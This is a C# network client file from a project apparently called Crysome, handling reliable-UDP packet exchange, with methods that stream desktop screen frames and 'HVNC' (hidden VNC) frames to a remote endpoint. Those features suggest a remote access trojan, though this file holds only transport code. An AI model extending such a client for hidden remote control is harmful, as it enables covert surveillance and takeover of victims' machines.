Files
crysome/Crysome.Common.Client/Crysome.Common.Network/CrysomeClient.cs
T

193 lines
3.8 KiB
C#
Raw Normal View History

2026-08-27 11:22:54 -06:00
using System;
using System.Collections.Concurrent;
using System.IO;
using System.Net;
using System.Threading;
using Crysome.Common.Network.Packets;
namespace Crysome.Common.Network;
public class CrysomeClient
{
private RudpChannel _rudp;
private CancellationTokenSource _readCts = new CancellationTokenSource();
private readonly BlockingCollection<IPacket> _inQueue = new BlockingCollection<IPacket>(2048);
private static int _clientIdGen = new Random().Next(1, 100000);
public bool IsConnected
{
get
{
if (_rudp != null && _rudp.IsAlive)
{
return !_readCts.IsCancellationRequested;
}
return false;
}
}
public IPEndPoint RemoteAddress => _rudp?.Remote;
public IPEndPoint LocalAddress => null;
public int Port => 0;
public double RttMs => _rudp?.RttMs ?? 0.0;
public double LossRate => _rudp?.LossRate ?? 0.0;
public long BytesSent => _rudp?.BytesSent ?? 0;
public long BytesRecv => _rudp?.BytesRecv ?? 0;
public uint UdpSessionToken { get; set; }
public IPEndPoint UdpRemoteEndPoint { get; set; }
public uint UdpLastFrameSeq { get; set; }
public event EventHandler PacketReceived;
public event EventHandler PacketSent;
public void Connect(IPAddress address, int port)
{
IPEndPoint remote = new IPEndPoint(address, port);
RudpChannel rudpChannel = new RudpChannel(NextSessionId(), remote);
rudpChannel.Start();
AttachChannel(rudpChannel);
Thread.Sleep(50);
}
private static uint NextSessionId()
{
uint num = (uint)Interlocked.Increment(ref _clientIdGen);
if (num != 0)
{
return num;
}
return (uint)Interlocked.Increment(ref _clientIdGen);
}
private void AttachChannel(RudpChannel channel)
{
_rudp = channel;
_rudp.ReliableReceived += OnReliableData;
_rudp.UnreliableFrameReceived += OnUnreliableControl;
_rudp.Disconnected += OnDisconnected;
}
public RudpChannel GetRudpChannel()
{
return _rudp;
}
public void SendPacket(IPacket packet)
{
byte[] payload = PacketSerializer.Serialize(packet);
_rudp.SendReliable(payload);
this.PacketSent?.Invoke(this, EventArgs.Empty);
}
public void SendPacketUnreliable(IPacket packet)
{
byte[] payload = PacketSerializer.Serialize(packet);
_rudp.SendUnreliable(0, payload);
this.PacketSent?.Invoke(this, EventArgs.Empty);
}
public void SendDesktopScreenFrame(byte[] jpegData)
{
if (jpegData != null && jpegData.Length != 0)
{
_rudp.SendUnreliable(36, jpegData);
this.PacketSent?.Invoke(this, EventArgs.Empty);
}
}
public void SendHvncFrame(byte[] jpegData)
{
if (jpegData != null && jpegData.Length != 0)
{
_rudp.SendUnreliable(46, jpegData);
this.PacketSent?.Invoke(this, EventArgs.Empty);
}
}
public IPacket ReadPacket()
{
try
{
IPacket result = _inQueue.Take(_readCts.Token);
this.PacketReceived?.Invoke(this, EventArgs.Empty);
return result;
}
catch (OperationCanceledException)
{
throw new IOException("Connection closed");
}
}
public void Disconnect()
{
_readCts.Cancel();
try
{
_rudp?.SendFin();
}
catch
{
}
try
{
_rudp?.Dispose();
}
catch
{
}
}
private void OnReliableData(byte[] payload)
{
try
{
IPacket packet = PacketSerializer.Deserialize(payload);
if (packet != null && !_inQueue.IsAddingCompleted)
{
_inQueue.TryAdd(packet, 100);
}
}
catch
{
}
}
private void OnUnreliableControl(byte typeId, byte[] data)
{
if (typeId != 0 || data == null)
{
return;
}
try
{
IPacket packet = PacketSerializer.Deserialize(data);
if (packet != null && !_inQueue.IsAddingCompleted)
{
_inQueue.TryAdd(packet, 20);
}
}
catch
{
}
}
private void OnDisconnected()
{
_readCts.Cancel();
_inQueue.CompleteAdding();
}
}